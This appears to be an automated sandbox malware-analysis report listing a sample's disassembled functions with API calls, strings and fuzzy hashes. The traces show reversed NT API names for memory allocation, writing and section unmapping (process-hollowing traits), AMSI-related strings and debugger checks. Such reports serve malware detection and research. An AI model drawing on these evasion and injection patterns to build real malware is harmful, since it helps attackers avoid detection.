Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029C4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 029C4EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDC80), ref: 029DDBEB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,029DDC80), ref: 029DDC1B
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 029DDC30
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 029DDC5C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 029DDC65

Part of subcall function 029C4C0C: SysFreeString.OLEAUT32(029DE950), ref: 029C4C1A

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: File$String$AllocCloseFreeInformationOpenQueryRead
String ID:
API String ID: 2659941336-0
Opcode ID: 608e70772edbecaa4ab343c8103046651aeb613fe627eff43af7eb394543e371
Instruction ID: a59907c151e6f5eda630aca7789bfee1b621117af587b4d086899cdc84f00648
Opcode Fuzzy Hash: 608e70772edbecaa4ab343c8103046651aeb613fe627eff43af7eb394543e371
Instruction Fuzzy Hash: 56213371B403087AEB10EBE4CC52FDEB7BDAF88B00F504425B200F71C1DAB4AA059B65

Function 029DE2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 029DE436

Strings

OpenSession, xrefs: 029DE3D8
ScanBuffer, xrefs: 029DE37F
Initialize, xrefs: 029DE326

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 7757ff1f81fcbac229082f836acad1b1752bc061ea4fb9a4592184c876e3edfc
Instruction ID: d362f025dda89982eead70b215c1a791f3aefb541cb1aeaa126f555ebcb83f18
Opcode Fuzzy Hash: 7757ff1f81fcbac229082f836acad1b1752bc061ea4fb9a4592184c876e3edfc
Instruction Fuzzy Hash: A4411E35B501189BEB00FBA4CD90E9EB3FAEFCC710F319429E085A7244DA74AD019F65

Function 029DDACC Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029C4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 029C4EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDB9E), ref: 029DDB0B
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 029DDB45
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 029DDB72
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 029DDB7B

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: File$AllocCloseCreateStringWrite
String ID:
API String ID: 3308905243-0
Opcode ID: b3ae2f56c6fd32f544f893e539438e9d5030ea38e9499ac0ee65a16c2acda65b
Instruction ID: 3fd096dca162eb881ecef99be47d149ca4e1c5494cb47beda587a990ffdcd2eb
Opcode Fuzzy Hash: b3ae2f56c6fd32f544f893e539438e9d5030ea38e9499ac0ee65a16c2acda65b
Instruction Fuzzy Hash: 0221ED72A40308BAEB10EAE4CC56F9EB7BDAB44B04F614465B600F71C0D7B46B059A65

Function 029D85DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 029D8668

Strings

Kernel32, xrefs: 029D8627
CreateProcessAsUserW, xrefs: 029D85F5

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 5216b403a5fdde055c09a8e55104ef1a23e2613cb2fbe7a47d67efd9d55c4328
Instruction ID: cc767ab91600973a0047d7b1c06bb4fd7c40bcc0daa9a4a7242d41fbc1f13e59
Opcode Fuzzy Hash: 5216b403a5fdde055c09a8e55104ef1a23e2613cb2fbe7a47d67efd9d55c4328
Instruction Fuzzy Hash: 661103B6600208AFDB90EEACDD51F9A37EDFB8C710F928454BA08D3641C630E9129B25

Function 029D79B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 029D7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 029D79CF
ntdll, xrefs: 029D79FC

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 4bb5545ea31e38878639491ee2c88ea49d1e4cb3701670e9e7a57983b1748054
Instruction ID: 8ec846b937773285ceb3e65b36646dbf45a9bc1e33df24d688d9503c20069223
Opcode Fuzzy Hash: 4bb5545ea31e38878639491ee2c88ea49d1e4cb3701670e9e7a57983b1748054
Instruction Fuzzy Hash: CA115E75700208BFEB10EFA4DC51FEEB7EEEB88710F918865B904D7640DA30EA159B61

Function 029D79B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 029D7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 029D79CF
ntdll, xrefs: 029D79FC

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: e4e0208da2761051a554a90539363332e83867c0a46f80b57629859e28ddde44
Instruction ID: 69061aea6b4fbb9399714d981e01e82cbb34028db94c1cac4ff0828ca29f7767
Opcode Fuzzy Hash: e4e0208da2761051a554a90539363332e83867c0a46f80b57629859e28ddde44
Instruction Fuzzy Hash: DC115B75700208AFEB10EFA4DC51FEEB7AEEB88710F918865B904D7640DA30EA159B61

Function 029D8254 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D82C5

Strings

ntdll, xrefs: 029D829C
yromeMlautriVdaeRtN, xrefs: 029D826F

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 54fcd36aa9a9f95e45c824ffdd6d453e2f5bebd0fe271c621ed3000b40dfa85c
Instruction ID: 52a3d828e0b9eff4bd1b50056a64c6fe2d8f115b5b0c71b0a648e81558286344
Opcode Fuzzy Hash: 54fcd36aa9a9f95e45c824ffdd6d453e2f5bebd0fe271c621ed3000b40dfa85c
Instruction Fuzzy Hash: C0012D75740208AFEB50EFA8D851FAE77EEEB8C700F518464F908D7641DA30E9159B25

Function 029D7D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 029D7D74

Strings

yromeMlautriVetirW, xrefs: 029D7D1B
Ntdll, xrefs: 029D7D4B

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 144e8882b562cb8b8ee7cc6e0b8e93be3fab4e47329f48487bd85724094feadb
Instruction ID: 86a98646230045303fd3ceed22b930650eba9c036298dcd4117b60c9fb813505
Opcode Fuzzy Hash: 144e8882b562cb8b8ee7cc6e0b8e93be3fab4e47329f48487bd85724094feadb
Instruction Fuzzy Hash: 3B012D75600208AFEB10EFA8D851EAEB7FEEB88700F918455B908D7680DA30E9159B65

Function 029D84C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029D8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,029D8090,?,?,00000000,?,029D7A06,ntdll,00000000,00000000,029D7A4B,?,?,00000000), ref: 029D805E
Part of subcall function 029D8020: GetModuleHandleA.KERNELBASE(?), ref: 029D8072

Part of subcall function 029D80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029D8150,?,?,00000000,00000000,?,029D8069,00000000,KernelBASE,00000000,00000000,029D8090), ref: 029D8115
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 029D811B
Part of subcall function 029D80C8: GetProcAddress.KERNEL32(?,?), ref: 029D812D

NtUnmapViewOfSection.NTDLL(?,?), ref: 029D8529

Strings

noitceSfOweiVpamnUtN, xrefs: 029D84DF
ntdll, xrefs: 029D850C

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 7ffb433d41d151d9f14cc9a663fb521014125c88c9b8e1d22c9cced204386eeb
Instruction ID: c58d55124a772a26619c8960f4c65a9198148c78f445aba6cbc3b74e4e94aed5
Opcode Fuzzy Hash: 7ffb433d41d151d9f14cc9a663fb521014125c88c9b8e1d22c9cced204386eeb
Instruction Fuzzy Hash: 55014474740204AFEB10EFA8D851F5D77EFFB89710F9188A4B40497641DA30A9169A21

Function 029DD9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 029DDA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDABE), ref: 029DDA82
NtDeleteFile.NTDLL(?), ref: 029DDAA1

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: DeleteFileInitStringUnicode
String ID:
API String ID: 3559453722-0
Opcode ID: 7eee7d3e49dc52cb6b7718711e098ec918dfc0ecdf357e31dfe33d6a353c2fc6
Instruction ID: f3d07ebbd82ce3bb7861141b6d59c12ed772525bb373be135a4308acc760defb
Opcode Fuzzy Hash: 7eee7d3e49dc52cb6b7718711e098ec918dfc0ecdf357e31dfe33d6a353c2fc6
Instruction Fuzzy Hash: 16016D76A48348BEEB05EBA0CD41BDD77BDAB84704F61C0A2A204F7081DB74AB049B75

Function 029DDA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 029C4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 029C4EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 029DDA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDABE), ref: 029DDA82
NtDeleteFile.NTDLL(?), ref: 029DDAA1

Part of subcall function 029C4C0C: SysFreeString.OLEAUT32(029DE950), ref: 029C4C1A

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: String$AllocDeleteFileFreeInitUnicode
String ID:
API String ID: 2841551397-0
Opcode ID: 2b708d7cb9241435099c3b0dc9de6e3759e72eaaff947fe2ba7f8352487213d0
Instruction ID: f76fefb97e0088a1c2ac25e13cede967f1e373f1db4854aa3d058d7e7008b687
Opcode Fuzzy Hash: 2b708d7cb9241435099c3b0dc9de6e3759e72eaaff947fe2ba7f8352487213d0
Instruction Fuzzy Hash: 5701F476A4420CBADB11EBE4CD51FDEB3BDEB88700F618461A504F2180EB746B049A75

Function 029D6D50 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 029D6CF4: CLSIDFromProgID.OLE32(00000000,?,00000000,029D6D41,?,?,?,00000000), ref: 029D6D21

CoCreateInstance.OLE32(?,00000000,00000005,029D6E34,00000000,00000000,029D6DB3,?,00000000,029D6E23), ref: 029D6D9F

Memory Dump Source

Source File: 00000000.00000002.2246694967.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: true

Associated: 00000000.00000002.2246632859.00000000029C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.00000000029ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2246904499.0000000002A1E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002A21000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B15000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2247454807.0000000002B18000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29c0000_D.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: a1a14b51776c09cda0b4036adcd8ebe7673f5a1c1e9daa4e81d738e899370bc5
Instruction ID: d94025f2a52248117cad974a70e50054c00c6404de3c9eb38f5e80db0e786699
Opcode Fuzzy Hash: a1a14b51776c09cda0b4036adcd8ebe7673f5a1c1e9daa4e81d738e899370bc5
Instruction Fuzzy Hash: 6F01F771208704AEE705DF74EC5286B7BADEBC9B10B628839F901D2680E6309A10D971

Function 029DEC74 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,029EAFA1,?,?,?,000002F7,00000000,00000000), ref: 029DECAE

Part of subcall function 029D8824: LoadLibraryA.KERNEL32(00000000,00000000,029D890B), ref: 029D8858
Part of subcall function 029D8824: FreeLibrary.KERNEL32(74B10000,00000000,02A21388,Function_000065D8,00000004,02A21398,02A21388,05F5E0FF,00000040,02A2139C,74B10000,00000000,00000000,00000000,00000000,029D890B), ref: 029D88EB

Part of subcall function 029DEB94: GetModuleHandleW.KERNEL32(KernelBase,?,029DEF98,UacInitialize,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,Initialize), ref: 029DEB9A
Part of subcall function 029DEB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 029DEBAC

Part of subcall function 029DEBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 029DEC00
Part of subcall function 029DEBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 029DEC12
Part of subcall function 029DEBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 029DEC29

Part of subcall function 029C7E18: GetFileAttributesA.KERNEL32(00000000,?,029DF8CC,ScanString,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,UacScan,02A2137C,029EAFD8,UacInitialize), ref: 029C7E23

Part of subcall function 029CC2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B158C8,?,029DFBFE,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession), ref: 029CC303

Part of subcall function 029DDBB0: RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDC80), ref: 029DDBEB
Part of subcall function 029DDBB0: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,029DDC80), ref: 029DDC1B
Part of subcall function 029DDBB0: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 029DDC30
Part of subcall function 029DDBB0: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 029DDC5C
Part of subcall function 029DDBB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 029DDC65

Part of subcall function 029C7E3C: GetFileAttributesA.KERNEL32(00000000,?,029E2A49,ScanString,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,ScanBuffer,02A2137C,029EAFD8,OpenSession,02A2137C,029EAFD8,Initialize), ref: 029C7E47

Part of subcall function 029C7FD0: CreateDirectoryA.KERNEL32(00000000,00000000,?,029E2BE7,OpenSession,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8,Initialize,02A2137C,029EAFD8,ScanString,02A2137C,029EAFD8), ref: 029C7FDD

Part of subcall function 029DDACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,029DDB9E), ref: 029DDB0B
Part of subcall function 029DDACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 029DDB45
Part of subcall function 029DDACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 029DDB72
Part of subcall function 029DDACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 029DDB7B

